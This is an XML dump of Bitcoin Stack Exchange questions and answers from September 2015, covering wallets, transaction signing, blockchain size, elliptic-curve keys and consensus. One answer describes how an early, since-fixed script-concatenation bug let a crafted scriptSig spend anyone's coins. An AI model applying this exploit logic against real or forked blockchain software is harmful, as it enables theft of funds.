  <row Id="40530" PostTypeId="1" CreationDate="2015-09-14T05:33:07.363" Score="1" ViewCount="200" Body="&lt;p&gt;I am wondering that why do we need consensus algorithm like ripple if all the nodes in a system is honest. There won't exist an use case of double spending. I am asking this question because recently i am reading the news that banks are using ripple algorithm to transfer money between their international branches.&lt;/p&gt;&#xA;" OwnerUserId="29375" LastActivityDate="2015-09-14T19:32:19.357" Title="why banks are trying consensus algorithms like ripple" Tags="|ripple|banks|consensus|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40531" PostTypeId="1" CreationDate="2015-09-14T08:18:01.030" Score="-1" ViewCount="284" Body="&lt;p&gt;I use the Blockchain.info receive payments API. It's all working nice and good, but now I have a payment that doesn't reach my adress. It is unconfirmed for almost 24 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the payment doesn't show in Bitcoin-QT (also not as unconfirmed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see here: &lt;a href=&quot;https://blockchain.info/address/1J2SpT8wBUsVhP6MBtc5sqJkUMgdfHPSZ4&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1J2SpT8wBUsVhP6MBtc5sqJkUMgdfHPSZ4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally Blockchain.info pays the miner fee, so I should receive them very quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are my bitcoins lost in the abyss?&lt;/p&gt;&#xA;" OwnerUserId="27468" LastEditorUserId="24925" LastEditDate="2015-09-14T09:48:48.747" LastActivityDate="2022-03-17T14:44:58.937" Title="Blockchain.info receive payments API, bitcoins lost?" Tags="|blockchain.info|unconfirmed-transactions|lost-bitcoins|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40532" PostTypeId="1" CreationDate="2015-09-14T09:22:08.470" Score="5" ViewCount="208" Body="&lt;p&gt;I am currently doing a project that requires blockchain to be applied to other systems. I was wondering where I can easily download the blockchain database and which is the best way of understanding blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="29378" LastActivityDate="2015-09-22T15:30:53.273" Title="Blockchain Application" Tags="|blockchain|bitcoind|bitcoin-core|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40533" PostTypeId="1" CreationDate="2015-09-14T11:45:56.543" Score="7" ViewCount="6627" Body="&lt;p&gt;I downloaded Bitcoin Core and I'm just having a look around and I can't for the life of me figure out how to create a sending address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a site to buy stuff and to register I need to &quot;Setup your payout addresses&quot; which is &quot;the address where centralised escrow is released to the seller, and where buyer refunds are sent&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what do I do?&lt;/p&gt;&#xA;" OwnerUserId="29380" LastEditorUserId="4975" LastEditDate="2015-09-18T02:45:50.313" LastActivityDate="2015-09-18T02:45:50.313" Title="How to create a sending address with Bitcoin Core?" Tags="|bitcoin-core|address|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40534" PostTypeId="2" ParentId="40531" CreationDate="2015-09-14T11:49:19.003" Score="0" Body="&lt;p&gt;Seems the payment got through after all. Weird, it took more than 24 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, just wait and keep waiting, in the end, it's all gonna be alright.&lt;/p&gt;&#xA;" OwnerUserId="27468" LastActivityDate="2015-09-14T11:49:19.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40535" PostTypeId="2" ParentId="40533" CreationDate="2015-09-14T13:44:51.650" Score="8" Body="&lt;p&gt;You are not looking for a &lt;strong&gt;&lt;em&gt;sending address&lt;/em&gt;&lt;/strong&gt; but for a &lt;strong&gt;&lt;em&gt;receiving address&lt;/em&gt;&lt;/strong&gt;! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coins always come from the address that you received them to, so one doesn't need special &quot;sending addresses&quot;. Your purpose here is to enable the escrow to send you a refund in case something goes wrong with the purchase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find out your address, switch to the &quot;Receive&quot; tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MPcnS.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MPcnS.png&quot; alt=&quot;Receive Tab of Bitcoin Core&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Receive&quot; tab will show you a list of all your addresses. The list will be empty at first, so you have to click &quot;Request payment&quot;, which will open a new window showing your address:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/z1YaL.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/z1YaL.png&quot; alt=&quot;New Address showing in Bitcoin Core&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll want to copy the alphanumeric string after &quot;Address:&quot; in the last line. To show the address again after closing the window, you can double-click the line in the list, or select it and click the &quot;Show&quot; button in the bottom left corner.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-09-16T15:42:45.247" LastActivityDate="2015-09-16T15:42:45.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40537" PostTypeId="1" CreationDate="2015-09-14T16:34:35.277" Score="2" ViewCount="63" Body="&lt;p&gt;If bitcoin is to succeed surely the blockchain design has to be redone. Are there any other cyrptocurrencies with a different blockchain design than bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="29387" LastActivityDate="2015-09-14T16:34:35.277" Title="What happens when Bitcoin's blockchain grows to 1 Terabyte in size?" Tags="|blockchain|" AnswerCount="0" CommentCount="0" ClosedDate="2015-09-16T13:28:22.793" ContentLicense="CC BY-SA 3.0" />
  <row Id="40538" PostTypeId="2" ParentId="40511" CreationDate="2015-09-14T18:19:43.010" Score="3" Body="&lt;p&gt;CoinWallet began a different kind of stress test within the past several days.  After concerns about the method in which it conducts stress tests being a violation of laws in the UK, it decided to stress test the system by giving away 200 BTC for free to the public in a manner which will have the same effect without being a criminal act.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CoinWallet is giving away private keys that have (cumulatively) up to 200 BTC in them.  The BTC community is raising to load the wallets and send the transactions to their own private addresses so that they can get to the free money.  The result of this competitive fight for the 200 BTC is that the memory pools of full nodes are being filled with double spends and transactions that will never be verified.  Eventually, the double spends will be dropped as one of the spends makes it into a block and the remaining spends become invalid, but until then, all the nodes and all the miners are overwhelmed with a lot of extra data, which places small transactions especially those with low or no fees at the back of the priority list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The good news is that the priority function increases the priority of all transactions as a function of time, so that even no-fee transactions will eventually have a high enough priority to be forced into the next block.  However, there is no way to predict how long that will be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will get your test transactions back.  They will confirm eventually.  During this stress test however, it may take as much as several days if you are unlucky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After all the BTC that have been given away have been fully processed and all the double spends have been cleared from the mem pool, you should see normal confirmation times return to the network.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=1175321.0&quot; rel=&quot;nofollow&quot;&gt;Example: Five private keys made available&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoinmagazine.com/21911/coinwallet-crowdsources-transactions-major-stress-test-bitcoin-giveaway/&quot; rel=&quot;nofollow&quot;&gt;Article: An article describing CoinWallet's plan&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://community.coinbase.com/t/the-bitcoin-network-and-backlogged-pending-transactions/7291&quot; rel=&quot;nofollow&quot;&gt;Public Release: Coinbase addresses the Backlog for its concerned customers (Graph included of Mem Pool)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15481" LastActivityDate="2015-09-14T18:19:43.010" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="40539" PostTypeId="2" ParentId="40533" CreationDate="2015-09-14T18:38:09.007" Score="2" Body="&lt;p&gt;Murch is correct.  There is no such thing as a sending address, only receiving addresses.  The core application you installed created for you a private key, automatically.  This private key is like a fingerprint. There is a mathematical 'certainty' that you are the only person in the entire world who holds that private key.  With that private key, your bitcoin core application is able to sign and encrypt special messages which tell the network that you 'own' coins sent to specific addressees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addresses, to which bitcoins are sent, are generated from the private key using Elyptic Curve Cryptography.  These functions are one way, and mathematically impossible to reverse.  This means you can generate many addresses from one key, but you cannot generate the key from any of the addresses.  The math works only in one direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You prove to the network that you own an address by providing a public certificate generated from your key, and this certificate can be used by the other machines to 'prove' that you are the owner of the key that was used to generate the Address, and this lets you spend the coins there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I read back over my explanation, it all sounds very confusing, but the one thing to remember is that your private key is held by you and NO ONE ELSE (Very important!).  The Private Key generates a Public Certificate and your Wallet Addresses, and the Private Key also encrypts the &quot;Please send my unspent transactions to this new address&quot; message in a way that people can safely verify that you have permission to send that message, which spends your coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modern Bitcoin wallets will generate a new Address string every time the Address is used in a Bitcoin transaction to prevent people from using cryptographic tricks to 'fake your signature'.  This means that each time you need to have someone send you bitcoin, you should send them the address from your wallet, and you should never save addresses of other people for repeated use.  This is better for the security of the system and the safety of your transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Welcome to Bitcoin!  I hope you find it as wonderful as we do.  If all of these seems very confusing, you may feel releaved in knowing that your wallet application handles all these complexities for you.  For most Bitcoin users, it is a simple 'point and click' life, and they never need to worry about addresses, certificates, keys or signed messages, because the software handles it invisibly in the background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin Core is the first wallet application, and probably one of the most popular.  Other wallet applications also exist out there, and I encourage you to experiment with them and find one that you absolutely love, because they each have different interfaces, and some are easier to use than others, but for each person, there is usually only one or two that they absolutely love!&lt;/p&gt;&#xA;" OwnerUserId="15481" LastActivityDate="2015-09-14T18:38:09.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40540" PostTypeId="2" ParentId="40530" CreationDate="2015-09-14T19:24:00.187" Score="3" Body="&lt;p&gt;Double spending doesn't just include cases where a participant tries to spend his own funds twice, but it also includes cases where two honest participants each want the same liquidity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, say I have 100,000 Euros that I'm willing to exchange for 113,000 USD and there are two people who each want to take me up on that offer. Somehow, we have to agree on which of those gets the offer, and that's precisely the same issue as a double spend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You either need a consensus algorithm or you need a central authority.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2015-09-14T19:32:19.357" LastActivityDate="2015-09-14T19:32:19.357" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40542" PostTypeId="2" ParentId="26882" CreationDate="2015-09-15T00:50:28.377" Score="-2" Body="&lt;p&gt;Dogecoin does not have a limit anymore.&lt;/p&gt;&#xA;" OwnerUserId="29392" LastActivityDate="2015-09-15T00:50:28.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40543" PostTypeId="1" AcceptedAnswerId="40545" CreationDate="2015-09-15T04:52:57.347" Score="11" ViewCount="1050" Body="&lt;p&gt;I have been using Bitcoin Core for some months. I need a fully fledged client as I want to help the Bitcoin network. But the blockchain is so huge. I'd love to see some other client, which highly compresses it.&lt;/p&gt;&#xA;" OwnerUserId="29395" LastActivityDate="2015-09-16T10:29:57.850" Title="Is there some client like Bitcoin core, but which highly compresses the blockchain?" Tags="|blockchain|bitcoin-core|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40545" PostTypeId="2" ParentId="40543" CreationDate="2015-09-15T05:05:25.040" Score="14" Body="&lt;p&gt;The Bitcoin blockchain is mostly comprised of signatures (mostly non-compressible) and hashes (non-compressible), there's some space to be gained by eliminating redundancies due to people re-using addresses but it doesn't seem to be worth the implementation cost. Using &lt;code&gt;gzip -9&lt;/code&gt; and &lt;code&gt;zpaq -method 5&lt;/code&gt; on the block files for example saves only about 20% of the total size, using a compression system with knowledge of the Bitcoin block format would do a slightly better job, but that's the sort of ballpark you would expect to see.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;128M  blk00318.dat&#xA;101M  blk00318.dat.gz (30 seconds)&#xA;95M   blk00318.dat.zpaq (5 minutes)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even a 25% or 30% reduction in the size of the chain wouldn't allow for many more people to be able to run full storage nodes, the current growth rate (2GB per month for 400KB average blocks) would make it uneconomical again in a couple of months. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to run a fully validating node to have a secure wallet or view of basic block chain data in small space, Bitcoin Core 0.11.0 does have a &lt;code&gt;prune&lt;/code&gt; mode which can run with as little as 1.5GB of consumption- but it won't be contributing to the network at when this option is set, and your wallet use will be slightly more constrained than normal. Beyond that there's little in the way of other full storage nodes with more compact disk footprints, at least for now, pruned nodes should be made significantly more useful to the network in the future. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-09-16T10:29:57.850" LastActivityDate="2015-09-16T10:29:57.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40546" PostTypeId="2" ParentId="18088" CreationDate="2015-09-15T07:15:56.910" Score="1" Body="&lt;p&gt;Unfortunately, (it seems to me) neither the Armory paper backup nor the Export Keys does not contain the private key (only the Root key is shown)&lt;/p&gt;&#xA;" OwnerUserId="29397" LastActivityDate="2015-09-15T07:15:56.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40547" PostTypeId="1" CreationDate="2015-09-15T12:56:39.170" Score="4" ViewCount="1560" Body="&lt;p&gt;Take a bitcoin public key (x, y) and its additive inverse (x, -y). How do you identify which is the positive point and which is the negative point?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Private key 1 -&gt; (x, y)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;x =  0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798L&lt;/p&gt;&#xA;&#xA;&lt;p&gt;y =  0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8L&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-y =  0xb7c52588d95c3b9aa25b0403f1eef75702e84bb7597aabe663b82f6f04ef2777L&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Private key 2 -&gt; (x, y)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;x =  0xc6047f9441ed7d6d3045406e95c07cd85c778e4b8cef3ca7abac09b95c709ee5L&lt;/p&gt;&#xA;&#xA;&lt;p&gt;y =  0x1ae168fea63dc339a3c58419466ceaeef7f632653266d0e1236431a950cfe52aL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-y =  0xe51e970159c23cc65c3a7be6b99315110809cd9acd992f1edc9bce55af301705L&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Private key 3 -&gt; (x, y)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;x =  0xf9308a019258c31049344f85f89d5229b531c845836f99b08601f113bce036f9L&lt;/p&gt;&#xA;&#xA;&lt;p&gt;y =  0x388f7b0f632de8140fe337e62a37f3566500a99934c2231b6cb9fd7584b8e672L&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-y =  0xc77084f09cd217ebf01cc819d5c80ca99aff5666cb3ddce4934602897b4715bdL&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also, how can you identify which pub key is odd and which is even?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ex: private key 1 x,y is odd , private key 2 x,y is even&lt;/p&gt;&#xA;" OwnerUserId="26602" LastEditorUserId="26602" LastEditDate="2015-09-27T13:33:44.600" LastActivityDate="2021-11-14T15:07:03.450" Title="How to determine if a public key point y is negative or positive, odd or even?" Tags="|bitcoind|public-key|secp256k1|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40548" PostTypeId="2" ParentId="37403" CreationDate="2015-09-15T13:03:30.900" Score="5" Body="&lt;p&gt;The 0.3.7 update does indeed fix the script execution bug that is being described, the vulnerable code below is removed and replaced with functions that execute the scriptSig and then the scriptPubKey on the same stack. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!EvalScript(txin.scriptSig + CScript(OP_CODESEPARATOR) + txout.scriptPubKey, txTo, nIn))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Previously what would happen is that the two script tapes were literally concatenated, then executed as one. The problem here is simply that we can use a trailing &lt;code&gt;OP_PUSHDATA&lt;/code&gt; in the &lt;code&gt;scriptSig&lt;/code&gt; push the entire &lt;code&gt;scriptPubKey&lt;/code&gt; to the stack as a single data element rather than discrete opcodes. Our &lt;code&gt;scriptSig&lt;/code&gt; would simply be a push opcode for the length of the &lt;code&gt;scriptPubKey&lt;/code&gt; plus an &lt;code&gt;OP_CODESEPERATOR&lt;/code&gt;. At the end of execution the only element remaining on the stack is not zero, so the evaluation returns true and we can spend any coins we like. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-09-15T13:03:30.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40549" PostTypeId="2" ParentId="40526" CreationDate="2015-09-15T13:13:45.160" Score="1" Body="&lt;p&gt;So I think I found the solution to my own question after looking around a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I modified the constructor to explicitly set the peer addresses, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public SimpleExample() throws UnknownHostException {&#xA;&#xA;        walletAppKit = new WalletAppKit(NETWORK_PARAMETERS,DIRECTORY, &quot;test&quot;);&#xA;        walletAppKit&#xA;                .setAutoSave(true)&#xA;                .setBlockingStartup(false)&#xA;                .setPeerNodes(//Seed nodes for the test network&#xA;//                        new PeerAddress(InetAddress.getByName(&quot;seed.bitcoin.sipa.be&quot;), 18333),&#xA;                        new PeerAddress(InetAddress.getByName(&quot;testnet-seed.bitcoin.petertodd.org&quot;), 18333),&#xA;                        new PeerAddress(InetAddress.getByName(&quot;node3.mycelium.com&quot;), 18333),&#xA;                        new PeerAddress(InetAddress.getLocalHost(), 18333));&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another thing I did was to call 2 methods on the WalletAppKit to start the synchronisation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;walletAppKit.startAsync();&#xA;walletAppKit.awaitRunning();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15153" LastActivityDate="2015-09-15T13:13:45.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40550" PostTypeId="2" ParentId="40547" CreationDate="2015-09-15T15:19:28.850" Score="5" Body="&lt;p&gt;There is no concrete determination that makes one 'y' value negative or not in an EC point. Feel free to make your own convention, like y-values &amp;lt;= than half of p are negative, and &amp;gt; half of p are positive. That's just a convention, though.&lt;/p&gt;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/21907/what-does-the-curve-used-in-bitcoin-secp256k1-look-like&quot;&gt;What does the curve used in Bitcoin, secp256k1, look like?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Also, how can you identify which pub key is odd and which is even?&lt;/p&gt;&#xA;&lt;p&gt;ex: private key 1 x,y is odd , private key 2 x,y is even&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You can't! Not without knowing the private key itself. If you could, you would be part of the way towards solving the &lt;a href=&quot;https://en.wikipedia.org/wiki/Discrete_logarithm&quot; rel=&quot;noreferrer&quot;&gt;discrete log problem&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-09-15T15:37:33.127" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40551" PostTypeId="1" AcceptedAnswerId="40576" CreationDate="2015-09-15T16:01:41.553" Score="1" ViewCount="334" Body="&lt;p&gt;I'm making a full-service wallet, I already made the UTXOs selection algorithm and now I want to push the transaction hex bytes. &lt;strong&gt;It works when I push only a transaction with only 1 input&lt;/strong&gt;, but if I try to push the hex from a tx I made with 2 inputs from the same account, I get this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_EQUALVERIFY: non-equal data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my decoded hex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;   &quot;lock_time&quot;:0,&#xA;   &quot;size&quot;:339,&#xA;   &quot;inputs&quot;:[&#xA;      {&#xA;         &quot;prev_out&quot;:{&#xA;            &quot;index&quot;:0,&#xA;            &quot;hash&quot;:&quot;3a896625fce1f18ce4c3139863359631d5677cff4e4fd8dac25ca6327c0dadd8&quot;&#xA;         },&#xA;         &quot;script&quot;:&quot;473044022070f3b03cca6a75038ffe150be347a97d0e07adc857cc93e245739db55e3a6d36022051eb72b21e35a5e7309e1864f00e1b107a5b5262d80b1128e9fb45fbe7971c7b012102bb05325000709d3a3d8063f9913777859b8fa30b83e4c4f981bb2d9781b7c91a&quot;&#xA;      },&#xA;      {&#xA;         &quot;prev_out&quot;:{&#xA;            &quot;index&quot;:1,&#xA;            &quot;hash&quot;:&quot;436094120d4412c32b97738f9051a32a237c037abe31cafbdc8a02d16f2a659c&quot;&#xA;         },&#xA;         &quot;script&quot;:&quot;483045022100da7abc59e24d2afea9219ee24d1f3df4e1b9a2efa154d9704ed903210abfdb40022015a8237d38e18f558172872af1aa5c244b38c3ad8f594463c0dcad18dbfcf5f5012102bb05325000709d3a3d8063f9913777859b8fa30b83e4c4f981bb2d9781b7c91a&quot;&#xA;      }&#xA;   ],&#xA;   &quot;version&quot;:1,&#xA;   &quot;vin_sz&quot;:2,&#xA;   &quot;hash&quot;:&quot;c5991f9f044f9d829fc01eeda76f36a514271270f9f891ea7b584f504ed404ea&quot;,&#xA;   &quot;vout_sz&quot;:1,&#xA;   &quot;out&quot;:[&#xA;      {&#xA;         &quot;script_string&quot;:&quot;OP_DUP OP_HASH160 7ff85ee854794422531b7b5c3d380c5f50011a4e OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;         &quot;address&quot;:&quot;1CfeMTtDP9HNjc8vsuuHGgUfABexvW5Qkf&quot;,&#xA;         &quot;value&quot;:350000,&#xA;         &quot;script&quot;:&quot;76a9147ff85ee854794422531b7b5c3d380c5f50011a4e88ac&quot;&#xA;      }&#xA;   ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Links for the transactions being used:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockchain.info/tx/3a896625fce1f18ce4c3139863359631d5677cff4e4fd8dac25ca6327c0dadd8&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/3a896625fce1f18ce4c3139863359631d5677cff4e4fd8dac25ca6327c0dadd8&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockchain.info/tx/436094120d4412c32b97738f9051a32a237c037abe31cafbdc8a02d16f2a659c&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/436094120d4412c32b97738f9051a32a237c037abe31cafbdc8a02d16f2a659c&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My address is 1FebYgpxQ1exSNdJENkbmNPmSfsiP3kZiT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And my code using the BitcoinJS library is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;key = bitcoin.ECPair.fromWIF(privatekey);&#xA;var tx = new bitcoin.TransactionBuilder()&#xA;var sum_outputs = 0;&#xA;&#xA;var input_utxos = defineInputs(utxos, amount);&#xA;&#xA;for(var a = 0; a &amp;lt; input_utxos.length ; a++){&#xA;    tx.addInput(input_utxos[a].tx,a)&#xA;    sum_outputs+=parseInt(input_utxos[a].amount);&#xA;}&#xA;&#xA;tx.addOutput(to, parseInt(amount));&#xA;var change_amount = sum_outputs - parseInt(amount);&#xA;if(change_amount &amp;gt; 0) {&#xA;    tx.addOutput(from, change_amount);&#xA;}&#xA;&#xA;for(var a = 0; a &amp;lt; input_utxos.length; a++) {&#xA;    tx.sign(a, key);&#xA;}&#xA;&#xA;result = tx.build().toHex();&#xA;&#xA;console.log(result);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Why is this working with 1 input from my address and not for 2 inputs?&lt;/li&gt;&#xA;&lt;li&gt;How can I correctly sign the second input that I assume is the cause for the error?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="29402" LastEditorUserId="23340" LastEditDate="2015-09-17T07:33:50.913" LastActivityDate="2015-09-17T15:06:34.407" Title="OP_EQUALVERIFY Problem" Tags="|address|signature|bitcoinjs|javascript|node.js|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40552" PostTypeId="1" AcceptedAnswerId="40554" CreationDate="2015-09-15T17:13:06.750" Score="2" ViewCount="413" Body="&lt;p&gt;I have read sometimes in the web, that in the blockchain are checkpoints, so that an 51% could not the blockchain before that checkpoint even with over 51%. Is this true?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this answer this is missing completely:&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/38202/can-an-attacker-with-51-of-hash-power-change-old-blocks&quot;&gt;Can an attacker with 51% of hash power change old blocks?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For this question i would assume that the 51% attacker would change the client he uses any way that would help to do this attack&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="10677" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2019-09-23T15:15:58.913" Title="Do checkpoints in the block chain help to avoid a 51% attack that rewrites the entire blockchain?" Tags="|checkpoints|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40554" PostTypeId="2" ParentId="40552" CreationDate="2015-09-15T19:07:19.923" Score="4" Body="&lt;p&gt;Checkpoints are features of certain clients, not inherent to the blockchain itself. So, if an attacker did re-write the chain all the way back to a popular checkpoint, he could maybe get the network to disagree. Some would go with the 'chain with most work wins' approach, and some would go with the 'chain that meets my checkpoints with the most work' rule. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checkpoints do not inherently help prevent a 51% attack though. In fact, their usefulness is predicated on the assumption that a 51% attack all the way back to a checkpoint will never happen. For example, some clients skip ECDSA verification for anything older than a certain checkpoint, so it's useful to have these checkpoints because initial-block-download syncing will be faster.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-09-15T19:07:19.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40555" PostTypeId="2" ParentId="40521" CreationDate="2015-09-15T23:55:14.640" Score="1" Body="&lt;p&gt;That seems possible, but I'm not aware of any instances of it being done before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have three major problems:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitcoin generally assumes that there is one single ordering of transactions. That ordering can change, but there's always only one. The danger is that your two blockchains contain transactions that are mutually exclusive: transaction A and transaction B both spend the same coins, so only one can exist in the new master chain.&lt;/li&gt;&#xA;&lt;li&gt;Everyone needs to upgrade to a client that supports the new merged blockchain, and the algorithms in both chains. Some people might have been screwed over by the previous step in the process (because a transaction they relied upon was essentially reversed,) so they might be a little reluctant to do this.&lt;/li&gt;&#xA;&lt;li&gt;You need to avoid introducing any subtle security bugs while doing this.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-09-15T23:55:14.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
